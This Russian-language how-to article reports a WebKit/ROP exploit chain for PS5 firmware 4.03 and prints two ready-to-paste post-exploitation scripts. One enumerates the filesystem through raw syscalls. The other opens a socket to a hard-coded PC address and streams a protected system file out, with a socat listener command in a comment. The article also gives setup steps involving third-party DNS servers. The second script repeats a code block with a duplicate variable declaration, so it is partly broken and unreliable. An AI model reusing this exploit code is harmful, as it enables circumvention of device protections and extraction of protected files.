Для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.
Специализирующийся на взломе PlayStation хакер Bigboss опубликовал скрипты ROP (возвратно-ориентированного программирования) для перечисления и вывода данных из файловой системы PS5 с версией прошивки 4.03 с помощью webkit эксплоита. Конечно, получить весь дамп файлов не выйдет, а только файлы, доступные через разрешения webkit. Тем не менее, благодаря этому можно получить ясную картину файлов PS5.
Дампинг файловой системы PS5 с пошивкой 4.03. Инструкция
Наверное, это очевидно, но для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.
Необходимо будет модифицировать выполнение ROP в пользовательском пространстве. Эти файлы были выпущены ChendoChap и ZnullPtr некоторое время назад и доступны здесь .
После строчки 650 скрипта exploit.js (alert(`sys_getpid: ${pid}`);), скорее всего, потребуется удалить раздел образцов (Threading Sample и Branch Sample) и заменить их представленным ниже кодом от Bigboss.
Далее нужно сохранить полученные файлы на сервере и загрузить index.html через браузер PS5 (например, можно воспользоваться одним из DNS от Al-Azif: 165.227.83.145 или 192.241.221.79, получить доступ к странице с руководством для пользователя на PS5, а затем воспользоваться URL-переадресатором).
Скрипт для перечисления файлов и папок (также дает имя строке sandbox, полупроизвольное имя папки под конкретного пользователя):
let directory=malloc(256,1); p.writestr(directory.add32(0),"/"); let retopen=await chain.syscall(5,directory,0,0); let directoryBuffer=malloc(1024*1024,1); let directorySize=1024*1024; let retgetdent=await chain.syscall(272,retopen,directoryBuffer,directorySize); let numbytes=parseInt(retgetdent,16); let entry; let num_entry=0; let d_fileno; let d_reclen; let d_type; let d_namelen; let d_name; let position=0; for(position=0;position<numbytes;){ entry=directoryBuffer.add32(position); d_fileno=p.read4(entry.add32(0)); d_reclen=p.read2(entry.add32(4)); d_type=p.read1(entry.add32(6)); d_namelen=p.read1(entry.add32(7)); d_name=p.readstr(entry.add32(8)); alert("num_entry=${num_entry} d_reclen=${d_reclen} d_type=${d_type} d_namelen=${d_namelen} d_name=${d_name} position=${position}"); position=position+d_reclen; parseInt(position)+parseInt(d_reclen,16); num_entry++; }
Скрипт для создания дампа файла в целевом файле на компьютере:
//POST EXPLOIT STUFF HERE //change once per file name //use for example in your pc socat -u TCP-LISTEN:18194,reuseaddr OPEN:ScePlayReady.self,creat,trunc let tcpsocket=await chain.syscall(97,2,1,0); alert(`sys_socket: ${tcpsocket}`); let tcpsocketaddr=malloc(16,1); p.write1(tcpsocketaddr.add32(1),2); p.write2(tcpsocketaddr.add32(2),0x1247); //change ip for your pc p.write4(tcpsocketaddr.add32(4),0xCD01A8C0); //192(C0)168(A8)1(01)205(CD) alert(`before sys_connect`); let ret_tcpconnect=await chain.syscall(98,tcpsocket,tcpsocketaddr,16); alert(`sys_connect: ${ret_tcpconnect}`); //the right way is to use stat get size but this is quick and dirty test let tcpmessage=malloc(34406400,1); let tcpmessage_size=34406400; let file=malloc(256,1); p.writestr(file.add32(0),"/RcDZV3xbd4/common/lib/ScePlayReady.self");//example path /RcDZV3xbd4/common/lib/ScePlayReady.self, change RcDZV3xbd4 to your sandbox string let retopen_file=await chain.syscall(5,file,0,0); alert(`syscall_open return ${retopen_file}\n`); let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size); alert(`before sys_sendto read ${file_read}`); let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0); alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`); let ret_close=await chain.syscall(6,tcpsocket); alert(`sys_close: ${ret_close}`); alert(`syscall_open return ${retopen_file}\n`); let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size); alert(`before sys_sendto read ${file_read}`); let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0); alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`); let ret_close=await chain.syscall(6,tcpsocket); alert(`sys_close: ${ret_close}`); //size used was for a self file //after all this your ScePlayReady.self file is created and closed
Конечно, энтузиасты, работающие над взломом PS5, уже наверняка получили файлы с помощью этого механизма (и, вероятно, смогли получить еще больше другими способами), но для тех, кто просто хочет посмотреть, как это делается, представленные выше скрипты являются самым простым способом.
Гравитация научных фактов сильнее, чем вы думаете